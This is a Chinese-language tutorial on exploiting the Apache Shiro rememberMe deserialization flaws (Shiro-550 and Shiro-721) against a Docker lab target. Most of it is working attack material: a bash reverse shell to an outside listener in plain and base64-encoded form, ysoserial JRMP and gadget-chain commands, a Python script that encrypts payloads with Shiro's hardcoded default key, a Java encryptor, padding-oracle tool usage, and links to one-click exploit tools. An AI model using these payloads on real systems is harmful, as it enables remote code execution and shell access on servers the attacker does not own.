Shiro反序列化漏洞利用匯總（Shiro-550+Shiro-721）

Apache Shiro是一個強大易用的Java安全框架，提供了認證、授權、加密和會話管理等功能。Shiro框架直觀、易用，同時也能提供健壯的安全性。

文章目錄：

• 1、Shiro rememberMe反序列化漏洞（Shiro-550）
  • 1.1 漏洞原理
  • 1.2 影響版本
  • 1.3 漏洞特征
  • 1.4 漏洞利用
    • 1.4.1 利用方式一
    • 1.4.2 利用方式二
• 2、Shiro Padding Oracle Attack（Shiro-721）
  • 2.1 漏洞原理
  • 2.2 影響版本
  • 2.3 漏洞利用
• 3、一鍵自動化漏洞利用
  • 3.1 Shiro-550
  • 3.2 Shiro-721

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1、Shiro rememberMe反序列化漏洞（Shiro-550）

1.1 漏洞原理

Apache Shiro框架提供了記住密碼的功能（RememberMe），用戶登錄成功后會生成經過加密並編碼的cookie。在服務端對rememberMe的cookie值，先base64解碼然后AES解密再反序列化，就導致了反序列化RCE漏洞。
那么，Payload產生的過程：
命令=>序列化=>AES加密=>base64編碼=>RememberMe Cookie值
在整個漏洞利用過程中，比較重要的是AES加密的密鑰，如果沒有修改默認的密鑰那么就很容易就知道密鑰了,Payload構造起來也是十分的簡單。

1.2 影響版本：Apache Shiro < 1.2.4

1.3 特征判斷：返回包中包含rememberMe=deleteMe字段。

1.4 漏洞利用

1.4.1 環境搭建

獲取docker鏡像
docker pull medicean/vulapps:s_shiro_1
啟動docker鏡像：
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

1.4.2 工具准備

1、maven配置

sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven環境變量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile

2、下載ysoserial並打包

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在ysoserial/target文件中。

1.4.3 漏洞利用

1、檢查是否存在默認的key。
這里我們使用一個 Shiro_exploit，獲取key
Github項目地址：https://github.com/insightglacier/Shiro_exploit

python shiro_exploit.py -u http://192.168.172.129:8080

漏洞利用方式一：

1、制作反彈shell代碼
監聽本地端口

nc -lvp 1234

Java Runtime 配合 bash 編碼，
在線編碼地址：http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.172.133/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

2、通過ysoserial中JRMP監聽模塊，監聽6666端口並執行反彈shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

3、使用shiro.py 生成Payload

python shiro.py 192.168.172.133:6666

shiro.py代碼如下：

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

4、構造數據包，偽造cookie，發送Payload.

nc監聽端口，shell成功反彈：

java監聽接口，查看服務器連接情況：

漏洞利用方式二：
1、生成poc.ser文件

sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

2、使用Shiro內置的默認密鑰對Payload進行加密：
java調試：

調試代碼：

package shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

3、發送rememberMe Cookie，即可成功執行命令。

在目標服務器/tmp目錄下，生成success文件。

2、Shiro Padding Oracle Attack（Shiro-721）

漏洞原理：
由於Apache Shiro cookie中通過 AES-128-CBC 模式加密的rememberMe字段存在問題，用戶可通過Padding Oracle 加密生成的攻擊代碼來構造惡意的rememberMe字段，並重新請求網站，進行反序列化攻擊，最終導致任意代碼執行。
影響版本：Apache Shiro < 1.4.2版本。
漏洞利用：
1、登錄Shiro網站，從cookie中獲得rememberMe字段的值。

2、利用DNSlog探測，通過ysoserial工具payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

3、使用rememberMe值作為prefix，加載Payload，進行Padding Oracle攻擊。
github項目地址：https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用示例：

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

爆破成功，輸出Result：

4、使用構造的rememberMe攻擊字符串重新請求網站

5、成功觸發Payload，在DNSLog獲取到目標IP。

3、一鍵自動化漏洞利用工具

ShiroExploit：支持對Shiro-550（硬編碼秘鑰）和Shiro-721（Padding Oracle）的一鍵化檢測，支持簡單回顯。
Github項目地址：https://github.com/feihong-cs/ShiroExploit

Shiro-550，只需輸入url，即可完成自動化檢測和漏洞利用。

Shiro-721，需輸入url，提供一個有效的rememberMe Cookie，並指定目標操作系統類型。

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